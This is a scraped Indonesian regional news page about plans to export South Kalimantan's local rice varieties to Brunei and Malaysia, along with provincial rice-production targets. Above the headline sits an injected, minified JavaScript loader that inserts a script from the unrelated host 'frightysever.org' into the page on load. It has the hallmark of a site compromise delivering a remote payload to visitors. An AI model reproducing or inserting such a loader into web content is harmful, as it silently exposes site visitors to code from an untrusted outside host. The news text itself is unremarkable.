(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Beras Lokal Kalsel Ditarget Tembus Pasar Ekspor Tahun Ini


BANJARMASIN, Bulog Divre Kalsel berkomitmen untuk mendorong komoditas beras lokal Kalsel untuk bisa menembus pasar ekspor di Tahun 2019. Kepala Bulog Divre Kalsel Akhmad Kholisun mengklaim, akan ada sejumlah jenis beras lokal seperti Siam, Mayang dan Unus yang bakal di ekspor ke negara tetangga seperti Brunei Darussalam dan Malaysia.

“Beras lokal seperti Siam, Mayang dan Unus ini cukup banyak diminati oleh negara tetangga seperti Brunei Darussalam dan Malaysia. Karena itulah di tahun ini kami berencana menggandeng petani lokal agar beras tersebut bisa di ekspor,” jelasnya, Rabu (6/3).

Agar hal tersebut bisa terealisasi, saat ini pihaknya terus mencoba melakukan kordinasi dengan instansi dinas terkait dan petani lokal agar berbagai persyaratan beras lokal untuk bisa ekspor bisa terpenuhi.

“Baik itu dari sisi kualitas, kuantitas dan masalah kemasan terus kita coba kordinasikan dengan petani lokal dan instansi dinas terkait agar bisa dipenuhi. Kalau semuanya sudah terpenuhi maka tentu kita bisa segera melakukan ekspor,” tambahnya.

Jika sudah memenuhi persyaratan rencananya untuk tahap awal ekspor beras lokal Kalsel ke negara tetangga sebesar 3.000 – 3.500 ton. Kalau dalam perjalanannya permintaan beras lokal Kalsel tinggi, maka kami juga berencana terus menambah jumlahnya.

Sebelumnya, Kepala Perwakilan Bank Indonesia (BI) Wilayah Kalsel Herawanto mengaku, pihaknya terus berupaya mendorong peningkatan produksi komoditas sembako lokal agar stabilisasi inflasi bisa terus terjaga.

Adapun caranya selain ikut mendorong pengembangan komoditas cabai dan bawang merah melalui para petani lokal di daerah. BI Perwakilan Kalsel juga mengembangkan Rumah Pangan Lestari di daerah Banjarbaru untuk membudiayakan berbagai komoditas sayuran dan ikan bersama masyarakat sekitar.

“Kalau kebutuhan komoditas sembako bisa dipenuhi oleh Kalsel sendiri tanpa tergantung dari daerah lainnya, maka tentu kestabilan inflasi di Banua bisa lebih terjaga,” pungkasnya.

Kepala Bulog Divre Kalsel Akhmad Kholisun. Foto: Arief Rahman

Sebelumnya, Pemprov Kalsel menargetkan tambah produksi padi hingga 32 ribu ton dari Kabupaten Barito Kuala dari target perluasan lahan lebak 4 ribu hektare. Gubernur Sahbirin Noor di Banjarmasin Rabu mengatakan, berdasarkan data Dinas Tanaman Pangan dan Hortikultura Kalsel, produksi padi Kalimantan Selatan 2017 mencapai 2.452.367 ton.

Dari total produksi tersebut, Kabupaten Barito Kuala menempati ranking pertama dengan menyumbang produksi padi sebanyak 389.757 ton. Jika lahan rawa lebak seluas 4 ribu hektare yang kini sedang diolah untuk persiapan pelaksanaan Hari Pangan Sedunia (HPS) di Desa Jejangkit, Kabupaten Barito Kuala, bisa tergarap maksimal dan bisa tanam dua kali, maka akan ada potensi penambahan produksi beras hingga 32 ribu ton. “Tentunya produksi tersebut, akan meningkatkan daya tahan pangan Kalsel,” katanya.

Menurut Gubernur, saat ini Kalimantan Selatan termasuk 10 besar daerah penghasil padi atau sentra pangan nasional. Hari Pangan Sedunia (HPS) 2018 lalu menjadi momentum untuk meningkatkan produksi pertanian yang berujung pada kedaulatan pangan Indonesia.

“Kita lihat lahan yang belum tergarap di Kecamatan Jejangkit ini mencapai ribuan hektare.Untuk menyeselaikan pekerjaan rumah ini perlu sinergi dan kerja keras dari seluruh pihak,” katanya.

Menurut Gubernur, Kalsel merupakan satu dari dua provinsi yang menjadi fokus pemerintah pusat untuk meningkat hasil pertanian. Hal itu dibuktikan dengan terus mengalirnya bantuan alsintan, seperti 22 unit yang dikirim langsung oleh Kementerian Pertanian. Saat ini semuanya sudah tiba di Desa Jejangkit dengan jumlah 40 unit excavator.

“Dengan mengalirnya bantuan excavator itu akan lebih memudahkan pengerjaan lahan. Kita optimistis bisa menyelesaikan pekerjaan rumah ini, apalagi TNI sudah siang malam bekerja, belum lagi ditambah ASN dilngkup Pemprov Kalsel dan Kabupaten Barito Kuala bersama masyarakat,” katanya.

Disampaikanya, saat ini Pemprov Kalsel sedang fokus menggeser dari ketergantungan terhadap tambang kepada enam sektor utama salah satunya adalah pertanian. “Kalimantan Selatan merupakan provinsi yang sangat serius untuk meningkatkan ketersediaan pangan,” katanya.(arief)

Reporter : Arief
Editor : Chell

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.